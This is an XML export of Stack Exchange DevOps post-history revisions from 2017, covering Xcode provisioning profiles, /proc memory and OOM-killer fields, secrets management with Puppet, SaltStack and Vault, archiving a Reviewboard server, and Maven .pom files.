  <row Id="6035" PostHistoryTypeId="5" PostId="1910" RevisionGUID="12bbb3a0-10e1-46a5-a3cc-35cd38a22a63" CreationDate="2017-09-01T15:47:11.580" UserId="47" Comment="improved readability" Text="https://forums.developer.apple.com/thread/75038&#xD;&#xA;&#xD;&#xA;&gt; Hi!&#xD;&#xA;&gt; &#xD;&#xA;&gt;  &#xD;&#xA;&gt; &#xD;&#xA;&gt; I think I've got it figured out...&#xD;&#xA;&gt; &#xD;&#xA;&gt;  &#xD;&#xA;&gt; &#xD;&#xA;&gt; instead of:&#xD;&#xA;&gt; &#xD;&#xA;&gt;     -exportProvisioningProfile &quot;MyProvisioningProfile&quot;&#xD;&#xA;&gt; &#xD;&#xA;&gt;  &#xD;&#xA;&gt; &#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&gt; use:&#xD;&#xA;&gt; &#xD;&#xA;&gt;     PROVISIONING_PROFILE_SPECIFIER=&quot;MyProvisioningProfile&quot;&#xD;&#xA;&gt; &#xD;&#xA;&gt; &#xD;&#xA;&gt; We've got unity building the project every time and it doesn't fill in&#xD;&#xA;&gt; the PROVISIONING_PROFILE or PROVISIONING_PROFILE_SPECIFIER. And it&#xD;&#xA;&gt; looks like it will figure out the alphabet soup that belongs to&#xD;&#xA;&gt; PROVISIONING_PROFILE by looking it up itself provided you have&#xD;&#xA;&gt; downloaded it already." ContentLicense="CC BY-SA 3.0" />
  <row Id="6036" PostHistoryTypeId="5" PostId="1911" RevisionGUID="ed1a003d-8293-4cad-abf2-b163d007da4a" CreationDate="2017-09-01T15:50:11.330" UserId="47" Comment="added 1 character in body" Text="As Tensibai mentioned, you can extract this info from [the `/proc` filesystem][1], but in most cases you need to determine the trending yourself. There are several places which could be of interest:&#xD;&#xA;&#xD;&#xA;- **/proc/[pid]/statm**&#xD;&#xA;&#xD;&#xA;&gt;               Provides information about memory usage, measured in pages.&#xD;&#xA;&gt;               The columns are:&#xD;&#xA;&gt; &#xD;&#xA;&gt;                   size       (1) total program size&#xD;&#xA;&gt;                              (same as VmSize in /proc/[pid]/status)&#xD;&#xA;&gt;                   resident   (2) resident set size&#xD;&#xA;&gt;                              (same as VmRSS in /proc/[pid]/status)&#xD;&#xA;&gt;                   shared     (3) number of resident shared pages (i.e., backed by a file)&#xD;&#xA;&gt;                              (same as RssFile+RssShmem in /proc/[pid]/status)&#xD;&#xA;&gt;                   text       (4) text (code)&#xD;&#xA;&gt;                   lib        (5) library (unused since Linux 2.6; always 0)&#xD;&#xA;&gt;                   data       (6) data + stack&#xD;&#xA;&gt;                   dt         (7) dirty pages (unused since Linux 2.6; always 0)&#xD;&#xA;&#xD;&#xA;    cat /proc/31520/statm&#xD;&#xA;    1217567 835883 84912 29 0 955887 0&#xD;&#xA;&#xD;&#xA; - memory-related fields in **/proc/[pid]/status** (notably `Vm*` and `Rss*`), might be preferable if you also collect other info from this file&#xD;&#xA;&#xD;&#xA;&gt;               * VmPeak: Peak virtual memory size.&#xD;&#xA;&gt; &#xD;&#xA;&gt;               * VmSize: Virtual memory size.&#xD;&#xA;&gt; &#xD;&#xA;&gt;               * VmLck: Locked memory size (see mlock(3)).&#xD;&#xA;&gt; &#xD;&#xA;&gt;               * VmPin: Pinned memory size (since Linux 3.2).  These are&#xD;&#xA;&gt;                 pages that can't be moved because something needs to&#xD;&#xA;&gt;                 directly access physical memory.&#xD;&#xA;&gt; &#xD;&#xA;&gt;               * VmHWM: Peak resident set size (&quot;high water mark&quot;).&#xD;&#xA;&gt; &#xD;&#xA;&gt;               * VmRSS: Resident set size.  Note that the value here is the&#xD;&#xA;&gt;                 sum of RssAnon, RssFile, and RssShmem.&#xD;&#xA;&gt; &#xD;&#xA;&gt;               * RssAnon: Size of resident anonymous memory.  (since Linux&#xD;&#xA;&gt;                 4.5).&#xD;&#xA;&gt; &#xD;&#xA;&gt;               * RssFile: Size of resident file mappings.  (since Linux 4.5).&#xD;&#xA;&gt; &#xD;&#xA;&gt;               * RssShmem: Size of resident shared memory (includes System V&#xD;&#xA;&gt;                 shared memory, mappings from tmpfs(5), and shared anonymous&#xD;&#xA;&gt;                 mappings).  (since Linux 4.5).&#xD;&#xA;&gt; &#xD;&#xA;&gt;               * VmData, VmStk, VmExe: Size of data, stack, and text&#xD;&#xA;&gt;                 segments.&#xD;&#xA;&gt; &#xD;&#xA;&gt;               * VmLib: Shared library code size.&#xD;&#xA;&gt; &#xD;&#xA;&gt;               * VmPTE: Page table entries size (since Linux 2.6.10).&#xD;&#xA;&gt; &#xD;&#xA;&gt;               * VmPMD: Size of second-level page tables (since Linux 4.0).&#xD;&#xA;&gt; &#xD;&#xA;&gt;               * VmSwap: Swapped-out virtual memory size by anonymous private&#xD;&#xA;&gt;                 pages; shmem swap usage is not included (since Linux&#xD;&#xA;&gt;                 2.6.34).&#xD;&#xA;&#xD;&#xA;    server:/&gt; egrep '^(Vm|Rss)' /proc/31520/status&#xD;&#xA;    VmPeak:  6315376 kB&#xD;&#xA;    VmSize:  4870332 kB&#xD;&#xA;    VmLck:         0 kB&#xD;&#xA;    VmPin:         0 kB&#xD;&#xA;    VmHWM:   5009608 kB&#xD;&#xA;    VmRSS:   3344300 kB&#xD;&#xA;    VmData:  3822572 kB&#xD;&#xA;    VmStk:      1040 kB&#xD;&#xA;    VmExe:       116 kB&#xD;&#xA;    VmLib:    146736 kB&#xD;&#xA;    VmPTE:      8952 kB&#xD;&#xA;    VmSwap:        0 kB&#xD;&#xA;&#xD;&#xA;Some processes can, through their behaviour and not through their actual memory footprint, contribute to the overall system memory starvation and eventual demise. So it might also be of interest to look at the [OOM Killer][2] related information, which already takes into account some trending information:&#xD;&#xA;&#xD;&#xA;- **/proc/[pid]/oom_score**&#xD;&#xA;&#xD;&#xA;&gt;               This file displays the current score that the kernel gives to&#xD;&#xA;&gt;               this process for the purpose of selecting a process for the&#xD;&#xA;&gt;               OOM-killer.  A higher score means that the process is more&#xD;&#xA;&gt;               likely to be selected by the OOM-killer.  The basis for this&#xD;&#xA;&gt;               score is the amount of memory used by the process, with&#xD;&#xA;&gt;               increases (+) or decreases (-) for factors including:&#xD;&#xA;&gt; &#xD;&#xA;&gt;               * whether the process creates a lot of children using fork(2)&#xD;&#xA;&gt;                 (+);&#xD;&#xA;&gt; &#xD;&#xA;&gt;               * whether the process has been running a long time, or has&#xD;&#xA;&gt;                 used a lot of CPU time (-);&#xD;&#xA;&gt; &#xD;&#xA;&gt;               * whether the process has a low nice value (i.e., &gt; 0) (+);&#xD;&#xA;&gt; &#xD;&#xA;&gt;               * whether the process is privileged (-); and&#xD;&#xA;&gt; &#xD;&#xA;&gt;               * whether the process is making direct hardware access (-).&#xD;&#xA;&gt; &#xD;&#xA;&gt;               The oom_score also reflects the adjustment specified by the&#xD;&#xA;&gt;               oom_score_adj or oom_adj setting for the process.&#xD;&#xA;&#xD;&#xA;    server:/&gt; cat proc/31520/oom_score&#xD;&#xA;    103&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;- **/proc/[pid]/oom_score_adj** (or its deprecated predecessor **/proc/[pid]/oom_adj**, if need be)&#xD;&#xA;&#xD;&#xA;&gt;               This file can be used to adjust the badness heuristic used to&#xD;&#xA;&gt;               select which process gets killed in out-of-memory conditions.&#xD;&#xA;&gt; &#xD;&#xA;&gt;               The badness heuristic assigns a value to each candidate task&#xD;&#xA;&gt;               ranging from 0 (never kill) to 1000 (always kill) to determine&#xD;&#xA;&gt;               which process is targeted.  The units are roughly a proportion&#xD;&#xA;&gt;               along that range of allowed memory the process may allocate&#xD;&#xA;&gt;               from, based on an estimation of its current memory and swap&#xD;&#xA;&gt;               use.  For example, if a task is using all allowed memory, its&#xD;&#xA;&gt;               badness score will be 1000.  If it is using half of its&#xD;&#xA;&gt;               allowed memory, its score will be 500.&#xD;&#xA;&gt; &#xD;&#xA;&gt;               There is an additional factor included in the badness score:&#xD;&#xA;&gt;               root processes are given 3% extra memory over other tasks.&#xD;&#xA;&gt; &#xD;&#xA;&gt;               The amount of &quot;allowed&quot; memory depends on the context in which&#xD;&#xA;&gt;               the OOM-killer was called.  If it is due to the memory&#xD;&#xA;&gt;               assigned to the allocating task's cpuset being exhausted, the&#xD;&#xA;&gt;               allowed memory represents the set of mems assigned to that&#xD;&#xA;&gt;               cpuset (see cpuset(7)).  If it is due to a mempolicy's node(s)&#xD;&#xA;&gt;               being exhausted, the allowed memory represents the set of&#xD;&#xA;&gt;               mempolicy nodes.  If it is due to a memory limit (or swap&#xD;&#xA;&gt;               limit) being reached, the allowed memory is that configured&#xD;&#xA;&gt;               limit.  Finally, if it is due to the entire system being out&#xD;&#xA;&gt;               of memory, the allowed memory represents all allocatable&#xD;&#xA;&gt;               resources.&#xD;&#xA;&gt; &#xD;&#xA;&gt;               The value of oom_score_adj is added to the badness score&#xD;&#xA;&gt;               before it is used to determine which task to kill.  Acceptable&#xD;&#xA;&gt;               values range from -1000 (OOM_SCORE_ADJ_MIN) to +1000&#xD;&#xA;&gt;               (OOM_SCORE_ADJ_MAX).  This allows user space to control the&#xD;&#xA;&gt;               preference for OOM-killing, ranging from always preferring a&#xD;&#xA;&gt;               certain task or completely disabling it from OOM killing.  The&#xD;&#xA;&gt;               lowest possible value, -1000, is equivalent to disabling OOM-&#xD;&#xA;&gt;               killing entirely for that task, since it will always report a&#xD;&#xA;&gt;               badness score of 0.&#xD;&#xA;&gt; &#xD;&#xA;&gt;               Consequently, it is very simple for user space to define the&#xD;&#xA;&gt;               amount of memory to consider for each task.  Setting an&#xD;&#xA;&gt;               oom_score_adj value of +500, for example, is roughly&#xD;&#xA;&gt;               equivalent to allowing the remainder of tasks sharing the same&#xD;&#xA;&gt;               system, cpuset, mempolicy, or memory controller resources to&#xD;&#xA;&gt;               use at least 50% more memory.  A value of -500, on the other&#xD;&#xA;&gt;               hand, would be roughly equivalent to discounting 50% of the&#xD;&#xA;&gt;               task's allowed memory from being considered as scoring against&#xD;&#xA;&gt;               the task.&#xD;&#xA;&gt; &#xD;&#xA;&gt;               For backward compatibility with previous kernels,&#xD;&#xA;&gt;               /proc/[pid]/oom_adj can still be used to tune the badness&#xD;&#xA;&gt;               score.  Its value is scaled linearly with oom_score_adj.&#xD;&#xA;&gt; &#xD;&#xA;&gt;               Writing to /proc/[pid]/oom_score_adj or /proc/[pid]/oom_adj&#xD;&#xA;&gt;               will change the other with its scaled value.&#xD;&#xA;&#xD;&#xA;    server:/&gt; cat proc/31520/oom_score_adj &#xD;&#xA;    0&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://man7.org/linux/man-pages/man5/proc.5.html&#xD;&#xA;  [2]: https://linux-mm.org/OOM_Killer" ContentLicense="CC BY-SA 3.0" />
  <row Id="6037" PostHistoryTypeId="5" PostId="1902" RevisionGUID="8d476732-b995-42e1-93d5-96986b477b73" CreationDate="2017-09-01T17:32:35.080" UserId="2845" Comment="added 20 characters in body" Text="DevOps isn't just a *different* way of doing things, it is a *better* way of doing things. Perhaps it will help me to make my point if I rephrase the question in a different context - the context of the industrial age, the railroad and the steam hammer:&#xD;&#xA;&#xD;&#xA;&gt;Does a railroad company need Steam Hammers if it already lays track at an acceptable speed?&#xD;&#xA;&gt;-----------------------------------&#xD;&#xA;&#xD;&#xA;&gt;I mean, steam hammers from the business view are about speed and quality, right?&#xD;&#xA;&gt;&#xD;&#xA;&gt;What does it mean in a company is laying track fast enough for their customers without steam hammers? Which of these might apply?&#xD;&#xA;&gt;&#xD;&#xA;&gt; 1. They lay track at a sufficient level, no change is required&#xD;&#xA;&gt;&#xD;&#xA;&gt; 2. They use steam hammers but don't know it or call the steam hammer something else&#xD;&#xA;&gt;&#xD;&#xA;&gt; 3. They use something totally different and better than a steam hammer and we really should find out what it is (before it is too late)&#xD;&#xA;&gt;&#xD;&#xA;&gt; 4. They are awfully wrong: their speed and quality are below their knowledge and they will know it as of the next financial report (in the case that they manage to survive long enough to see it)&#xD;&#xA;&#xD;&#xA;The answer is obviously probably #4. They may not see the problem with the next financial report - perhaps it will take a few years - but eventually it will become clear how and why competitors outperform businesses still manually &quot;laying track&quot; as it were. Sure, it's possible they have come up with a diesel powered hammer that is more efficient and less prone to malfunction or breakdowns, but not likely.&#xD;&#xA;&#xD;&#xA;Thinking that they can outperform the steam hammer is going to get this company left behind. Sure, an individual group may have their steam hammer blow up and fall apart and perhaps that one group has such trouble with their steam hammer that it would have been more efficient in *that one case* to do things the old fashioned way, but they are the exception to the rule and the problem likely was that their steam hammer was poorly built and/or poorly maintained.&#xD;&#xA;&#xD;&#xA;The industrial age is coming and the railroad company can either check out the competition and then try to get their own steam hammers, or get left behind and eventually succumb to their irrelevance and antiquity.&#xD;&#xA;&#xD;&#xA;DevOps is no different. It's just another iteration of automation that companies can either embrace or ignore at their own peril much like the steam hammer." ContentLicense="CC BY-SA 3.0" />
  <row Id="6038" PostHistoryTypeId="2" PostId="1912" RevisionGUID="98bcb7e9-c800-424a-92cc-7bcd1c73f965" CreationDate="2017-09-01T18:30:10.823" UserId="2845" Text="This is a common problem in configuration management, and while I can't speak for Chef as I haven't worked with it, I can tell you how this is solved by both Puppet and SaltStack.&#xD;&#xA;&#xD;&#xA;Firstly, this distinction becomes a little less important with interpreted languages since there isn't much difference between including this sensitive data in a configuration file and including it in a text file that is interpreted (and I'm not aware of any compiled configuration management systems)&#xD;&#xA;&#xD;&#xA;But secondly, both [Puppet](https://docs.puppet.com/puppet/3/lang_import.html) and [SaltStack](https://docs.saltstack.com/en/getstarted/config/include.html), so you can simply make the equivalent of a .env file and include it just as you do with your applications.&#xD;&#xA;&#xD;&#xA;Typically this is not the recommended approach however. Instead, SaltStack recommends you use [Pillars](https://docs.saltstack.com/en/latest/topics/pillar/) for managing this data, which are stored separately from the code (called &quot;States&quot;). This pillar data is uniquely calculated for each minion and sent directly from the server only to the minion only using standard SSL encryption - so one minion cannot see another's pillar data. In fact, minions can't edit pillar data and they *definitely* can't rewrite pillar data *on the server* - this data is unicast only.&#xD;&#xA;&#xD;&#xA;Similarly, [Puppet utilizes Heira](https://docs.puppet.com/puppet/4.10/hiera_intro.html) for achieving something very similar. This allows you to store your code and metadata separately. You will then reference the pillar in your salt state or heira value in your manifest using a variable/function call thereby allowing your code to populate these values at runtime. " ContentLicense="CC BY-SA 3.0" />
  <row Id="6039" PostHistoryTypeId="2" PostId="1913" RevisionGUID="b873dbdf-5064-497a-915a-a6bb882cb6d2" CreationDate="2017-09-01T22:49:13.700" UserId="446" Text="There are, as always, a few ways to solve this.&#xA;&#xA;You can use a central source to keep secrets that each server reads from ala Hashicorp Vault. While popular this is not my preferred approach as its rather complex. There are quite a few key value stores that can provide similar functionality such as AWS Parameter Store.&#xA;&#xA;You can manually put data in these stores and/or store it encrypted in git. Using tools such as kops (AWS only) or ejson (provider agnostic) you can have the secrets in the same repo as the app. Then have the app either fetch all the secrets at deploy time or just the decryption key so it can load the encrypted file.&#xA;&#xA;" ContentLicense="CC BY-SA 3.0" />
  <row Id="6042" PostHistoryTypeId="5" PostId="1913" RevisionGUID="b7682932-a786-4e51-bf77-5ab49602ea4a" CreationDate="2017-09-02T02:35:51.113" UserId="47" Comment="added reference link(s)" Text="There are, as always, a few ways to solve this.&#xD;&#xA;&#xD;&#xA;You can use a central source to keep secrets that each server reads from ala [Hashicorp Vault][1]. While popular this is not my preferred approach as its rather complex. There are quite a few key value stores that can provide similar functionality such as [AWS Parameter Store][2].&#xD;&#xA;&#xD;&#xA;You can manually put data in these stores and/or store it encrypted in git. Using tools such as [kops][3] (AWS only) or [ejson][4] (provider agnostic) you can have the secrets in the same repo as the app. Then have the app either fetch all the secrets at deploy time or just the decryption key so it can load the encrypted file.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://www.vaultproject.io/&#xD;&#xA;  [2]: https://aws.amazon.com/ec2/systems-manager/parameter-store/&#xD;&#xA;  [3]: https://github.com/kubernetes/kops/blob/master/README.md&#xD;&#xA;  [4]: https://github.com/Shopify/ejson/blob/master/README.md" ContentLicense="CC BY-SA 3.0" />
  <row Id="6043" PostHistoryTypeId="5" PostId="1905" RevisionGUID="ab5bcf3e-5dd8-4f03-8122-d469b57908fd" CreationDate="2017-09-02T02:37:35.760" UserId="4164" Comment="clarifications" Text="My team was using an Ubuntu box to host an instance of [Reviewboard][1] 2.5.2 that we used for a few years before migrating to a Bitbucket service in the cloud. The machine was maintained by my predecessor who has long-since left the company.&#xD;&#xA;&#xD;&#xA;Edit: to clarify, the new service is not Reviewboard, but Bitbucket, and it's hosted on an internal cloud service.&#xD;&#xA;&#xD;&#xA;Now that we have a service elsewhere that we don't need to maintain, we want to take this old server offline permanently, but would like to preserve the contents site itself -- that is all of the reviews -- for posterity.&#xD;&#xA;&#xD;&#xA;I'd rather not just spin up another Reviewboard instance and I'd also rather not be in the business of maintaining a physical web server -- the idea is that I'd put this in our company cloud.&#xD;&#xA;&#xD;&#xA;Now I've done a dump of the json-formatted data via RBTool, however this isn't really useful to me in its current form. Edit: it's not useful because I was hoping for an off-the-shelf way to dump the website in static form.&#xD;&#xA;&#xD;&#xA;What I ultimately want is to have these old, archived reviews be searchable and for all the links to work more or less as expected for the sake of convenience.&#xD;&#xA;&#xD;&#xA;Has anyone had luck doing something like this?&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://www.reviewboard.org/" ContentLicense="CC BY-SA 3.0" />
  <row Id="6044" PostHistoryTypeId="2" PostId="1914" RevisionGUID="f2e43b47-43d5-4b24-af82-a85d09875cc5" CreationDate="2017-09-02T08:23:13.297" UserId="677" Text="A good rule of thumb is to try and avoid using one bit of logical kit (be it a single VM or a single physical host) for more than one thing.&#xA;&#xA;If a physical server is going to be a VM host then that's all it should be. If a VM or a physical host is going to be a source code repository then that's all it should be etc. You can squeeze a bit extra out of your infrastructure if you consider everything to be a VM host and you then partition up those VMs to be single purpose hosts themselves.&#xA;&#xA;The rationale behind this is that&#xA;&#xA; 1. A single host going down shouldn't impact your entire stack. Trust me this will hurt you badly as soon as you need downtime for an upgrade.&#xA; 2. The cost to scale any individual component increases drastically if you want to try and scale on multiple similar servers (which will save you management dollars by reducing complexity) or it will cost you to scale out adhoc hardware as needed because you then need to deal with many different-sized hosts that are a pain to manage and require anyone managing them to know the platform intimately.&#xA;&#xA;**recommendation:** split your infrastructure into as small a unit as is logical. If you can only afford to buy a single large bit of kit then make sure you split it into logically separate VMs or containers so that if you need to pop a bit of your infrastructure onto another server, or you need to scale stuff at different rates you can easily expand out but investing in a smaller upgrade.&#xA;&#xA;Obviously the realities of software licencing, especially for windows OS's might make this cost prohibitive but, while I haven't caught up on windows licensing models in a while, I'm sure there are development centric licensing models that can suit your specific needs." ContentLicense="CC BY-SA 3.0" />
  <row Id="6045" PostHistoryTypeId="2" PostId="1915" RevisionGUID="da28e1e2-9267-4b27-95d0-4d3457835cca" CreationDate="2017-09-02T21:36:15.830" UserId="707" Text="This seems not so easy to google because results about the normal pom.xml are overwhelming.&#xD;&#xA;&#xD;&#xA;So, I just have learned there are also Maven artefact related files with .pom extension. This seems to be some special thing about how repositories work - a metafile for an artefact?&#xD;&#xA;&#xD;&#xA;For example, if you check folder contents for an artefact in your local repository, you will find these files in any artefact folder I guess, just like in the path below.&#xD;&#xA;&#xD;&#xA;\.m2\repository\org\json\json\20090211\json-20090211.pom&#xD;&#xA;Contents:&#xD;&#xA;&#xD;&#xA;&lt;?xml version=&quot;1.0&quot; encoding=&quot;UTF-8&quot;?&gt;&#xD;&#xA;&lt;project xmlns=&quot;http://maven.apache.org/POM/4.0.0&quot;&#xD;&#xA;  xmlns:xsi=&quot;http://www.w3.org/2001/XMLSchema-instance&quot;&#xD;&#xA;  xsi:schemaLocation=&quot;http://maven.apache.org/POM/4.0.0 http://maven.apache.org/maven-v4_0_0.xsd&quot;&gt;&#xD;&#xA;  &lt;!-- this POM is released under an Apache 2.0 license--&gt;&#xD;&#xA;  &lt;modelVersion&gt;4.0.0&lt;/modelVersion&gt;&#xD;&#xA;  &lt;groupId&gt;org.json&lt;/groupId&gt;&#xD;&#xA;  &lt;artifactId&gt;json&lt;/artifactId&gt;&#xD;&#xA;  &lt;version&gt;20090211&lt;/version&gt;&#xD;&#xA;  &lt;name&gt;JSON (JavaScript Object Notation)&lt;/name&gt;&#xD;&#xA;  &lt;description&gt;&#xD;&#xA;    JSON (JavaScript Object Notation) is a lightweight data-interchange format.&#xD;&#xA;    It is easy for humans to read and write. It is easy for machines to parse and generate.&#xD;&#xA;    It is based on a subset of the JavaScript Programming Language, Standard ECMA-262 3rd Edition&#xD;&#xA;    - December 1999. JSON is a text format that is completely language independent but uses&#xD;&#xA;    conventions that are familiar to programmers of the C-family of languages, including C, C++, C#,&#xD;&#xA;    Java, JavaScript, Perl, Python, and many others.&#xD;&#xA;    These properties make JSON an ideal data-interchange language.&#xD;&#xA;  &lt;/description&gt;&#xD;&#xA;  &lt;url&gt;http://www.json.org/java/index.html&lt;/url&gt;&#xD;&#xA;  &lt;licenses&gt;&#xD;&#xA;    &lt;license&gt;&#xD;&#xA;      &lt;name&gt;provided without support or warranty&lt;/name&gt;&#xD;&#xA;      &lt;url&gt;http://www.json.org/license.html&lt;/url&gt;&#xD;&#xA;    &lt;/license&gt;&#xD;&#xA;  &lt;/licenses&gt;&#xD;&#xA;&#xD;&#xA;  &lt;organization&gt;&#xD;&#xA;    &lt;name&gt;JSON&lt;/name&gt;&#xD;&#xA;    &lt;url&gt;http://json.org/&lt;/url&gt;&#xD;&#xA;  &lt;/organization&gt;&#xD;&#xA;&#xD;&#xA;  &lt;dependencies/&gt;&#xD;&#xA;&lt;/project&gt;&#xD;&#xA;Question: is it possible to generate this file as part of a Maven build? Or do we have to create these files manually as part of the codebase?&#xD;&#xA;&#xD;&#xA;(In the context of what I am doing, I use generic Artifactory deployment plugin for Bamboo to deploy artefacts there but this .pom file is not being created automatically)." ContentLicense="CC BY-SA 3.0" />
  <row Id="6046" PostHistoryTypeId="1" PostId="1915" RevisionGUID="da28e1e2-9267-4b27-95d0-4d3457835cca" CreationDate="2017-09-02T21:36:15.830" UserId="707" Text="How to generate a Maven.pom file (not pom.xml)?" ContentLicense="CC BY-SA 3.0" />
  <row Id="6047" PostHistoryTypeId="3" PostId="1915" RevisionGUID="da28e1e2-9267-4b27-95d0-4d3457835cca" CreationDate="2017-09-02T21:36:15.830" UserId="707" Text="&lt;maven&gt;&lt;java&gt;" ContentLicense="CC BY-SA 3.0" />
  <row Id="6048" PostHistoryTypeId="5" PostId="1915" RevisionGUID="db8c8bf0-456b-4986-baaf-9b44d975807d" CreationDate="2017-09-02T21:55:14.550" UserId="707" Comment="added 144 characters in body" Text="This seems not so easy to google because results about the normal pom.xml are overwhelming.&#xD;&#xA;&#xD;&#xA;So, I just have learned there are also Maven artefact related files with .pom extension. This seems to be some special thing about how repositories work - a metafile for an artefact?&#xD;&#xA;&#xD;&#xA;For example, if you check folder contents for an artefact in your local repository, you will find these files in any artefact folder I guess, just like in the path below.&#xD;&#xA;&#xD;&#xA;    \.m2\repository\org\json\json\20090211\json-20090211.pom&#xD;&#xA;&#xD;&#xA;Contents:&#xD;&#xA;&#xD;&#xA;    &lt;?xml version=&quot;1.0&quot; encoding=&quot;UTF-8&quot;?&gt;&#xD;&#xA;    &lt;project xmlns=&quot;http://maven.apache.org/POM/4.0.0&quot;&#xD;&#xA;      xmlns:xsi=&quot;http://www.w3.org/2001/XMLSchema-instance&quot;&#xD;&#xA;      xsi:schemaLocation=&quot;http://maven.apache.org/POM/4.0.0 http://maven.apache.org/maven-v4_0_0.xsd&quot;&gt;&#xD;&#xA;      &lt;!-- this POM is released under an Apache 2.0 license--&gt;&#xD;&#xA;      &lt;modelVersion&gt;4.0.0&lt;/modelVersion&gt;&#xD;&#xA;      &lt;groupId&gt;org.json&lt;/groupId&gt;&#xD;&#xA;      &lt;artifactId&gt;json&lt;/artifactId&gt;&#xD;&#xA;      &lt;version&gt;20090211&lt;/version&gt;&#xD;&#xA;      &lt;name&gt;JSON (JavaScript Object Notation)&lt;/name&gt;&#xD;&#xA;      &lt;description&gt;&#xD;&#xA;        JSON (JavaScript Object Notation) is a lightweight data-interchange format.&#xD;&#xA;        It is easy for humans to read and write. It is easy for machines to parse and generate.&#xD;&#xA;        It is based on a subset of the JavaScript Programming Language, Standard ECMA-262 3rd Edition&#xD;&#xA;        - December 1999. JSON is a text format that is completely language independent but uses&#xD;&#xA;        conventions that are familiar to programmers of the C-family of languages, including C, C++, C#,&#xD;&#xA;        Java, JavaScript, Perl, Python, and many others.&#xD;&#xA;        These properties make JSON an ideal data-interchange language.&#xD;&#xA;      &lt;/description&gt;&#xD;&#xA;      &lt;url&gt;http://www.json.org/java/index.html&lt;/url&gt;&#xD;&#xA;      &lt;licenses&gt;&#xD;&#xA;        &lt;license&gt;&#xD;&#xA;          &lt;name&gt;provided without support or warranty&lt;/name&gt;&#xD;&#xA;          &lt;url&gt;http://www.json.org/license.html&lt;/url&gt;&#xD;&#xA;        &lt;/license&gt;&#xD;&#xA;      &lt;/licenses&gt;&#xD;&#xA;    &#xD;&#xA;      &lt;organization&gt;&#xD;&#xA;        &lt;name&gt;JSON&lt;/name&gt;&#xD;&#xA;        &lt;url&gt;http://json.org/&lt;/url&gt;&#xD;&#xA;      &lt;/organization&gt;&#xD;&#xA;    &#xD;&#xA;      &lt;dependencies/&gt;&#xD;&#xA;    &lt;/project&gt;&#xD;&#xA;&#xD;&#xA;Question: is it possible to generate this file as part of a Maven build? Or do we have to create these files manually as part of the codebase?&#xD;&#xA;&#xD;&#xA;(In the context of what I am doing, I use generic Artifactory deployment plugin for Bamboo to deploy artefacts there but this .pom file is not being created automatically)." ContentLicense="CC BY-SA 3.0" />
  <row Id="6049" PostHistoryTypeId="5" PostId="1915" RevisionGUID="a11585df-952b-4139-8694-dc2689b08d60" CreationDate="2017-09-02T22:22:33.957" UserId="707" Comment="added 170 characters in body" Text="This seems not so easy to google because results about the normal pom.xml are overwhelming.&#xD;&#xA;&#xD;&#xA;So, I just have learned there are also Maven artefact related files with .pom extension. This seems to be some special thing about how repositories work - a metafile for an artefact?&#xD;&#xA;&#xD;&#xA;For example, if you check folder contents for an artefact in your local repository, you will find these files in any artefact folder I guess, just like in the path below.&#xD;&#xA;&#xD;&#xA;    \.m2\repository\org\json\json\20090211\json-20090211.pom&#xD;&#xA;&#xD;&#xA;Contents:&#xD;&#xA;&#xD;&#xA;    &lt;?xml version=&quot;1.0&quot; encoding=&quot;UTF-8&quot;?&gt;&#xD;&#xA;    &lt;project xmlns=&quot;http://maven.apache.org/POM/4.0.0&quot;&#xD;&#xA;      xmlns:xsi=&quot;http://www.w3.org/2001/XMLSchema-instance&quot;&#xD;&#xA;      xsi:schemaLocation=&quot;http://maven.apache.org/POM/4.0.0 http://maven.apache.org/maven-v4_0_0.xsd&quot;&gt;&#xD;&#xA;      &lt;!-- this POM is released under an Apache 2.0 license--&gt;&#xD;&#xA;      &lt;modelVersion&gt;4.0.0&lt;/modelVersion&gt;&#xD;&#xA;      &lt;groupId&gt;org.json&lt;/groupId&gt;&#xD;&#xA;      &lt;artifactId&gt;json&lt;/artifactId&gt;&#xD;&#xA;      &lt;version&gt;20090211&lt;/version&gt;&#xD;&#xA;      &lt;name&gt;JSON (JavaScript Object Notation)&lt;/name&gt;&#xD;&#xA;      &lt;description&gt;&#xD;&#xA;        JSON (JavaScript Object Notation) is a lightweight data-interchange format.&#xD;&#xA;        It is easy for humans to read and write. It is easy for machines to parse and generate.&#xD;&#xA;        It is based on a subset of the JavaScript Programming Language, Standard ECMA-262 3rd Edition&#xD;&#xA;        - December 1999. JSON is a text format that is completely language independent but uses&#xD;&#xA;        conventions that are familiar to programmers of the C-family of languages, including C, C++, C#,&#xD;&#xA;        Java, JavaScript, Perl, Python, and many others.&#xD;&#xA;        These properties make JSON an ideal data-interchange language.&#xD;&#xA;      &lt;/description&gt;&#xD;&#xA;      &lt;url&gt;http://www.json.org/java/index.html&lt;/url&gt;&#xD;&#xA;      &lt;licenses&gt;&#xD;&#xA;        &lt;license&gt;&#xD;&#xA;          &lt;name&gt;provided without support or warranty&lt;/name&gt;&#xD;&#xA;          &lt;url&gt;http://www.json.org/license.html&lt;/url&gt;&#xD;&#xA;        &lt;/license&gt;&#xD;&#xA;      &lt;/licenses&gt;&#xD;&#xA;    &#xD;&#xA;      &lt;organization&gt;&#xD;&#xA;        &lt;name&gt;JSON&lt;/name&gt;&#xD;&#xA;        &lt;url&gt;http://json.org/&lt;/url&gt;&#xD;&#xA;      &lt;/organization&gt;&#xD;&#xA;    &#xD;&#xA;      &lt;dependencies/&gt;&#xD;&#xA;    &lt;/project&gt;&#xD;&#xA;&#xD;&#xA;**Question:** what is exactly this file and is it possible to generate this file as part of a Maven build? Or do we have to create these files manually as part of the codebase?&#xD;&#xA;&#xD;&#xA;(In the context of what I am doing, I use generic Artifactory deployment plugin for Bamboo to deploy artefacts there but this .pom file is not being created automatically).&#xD;&#xA;&#xD;&#xA;UPD I have solved my problem by using a copy of the pom.xml as this pom file and it works but I consider this cannot be the correct way." ContentLicense="CC BY-SA 3.0" />
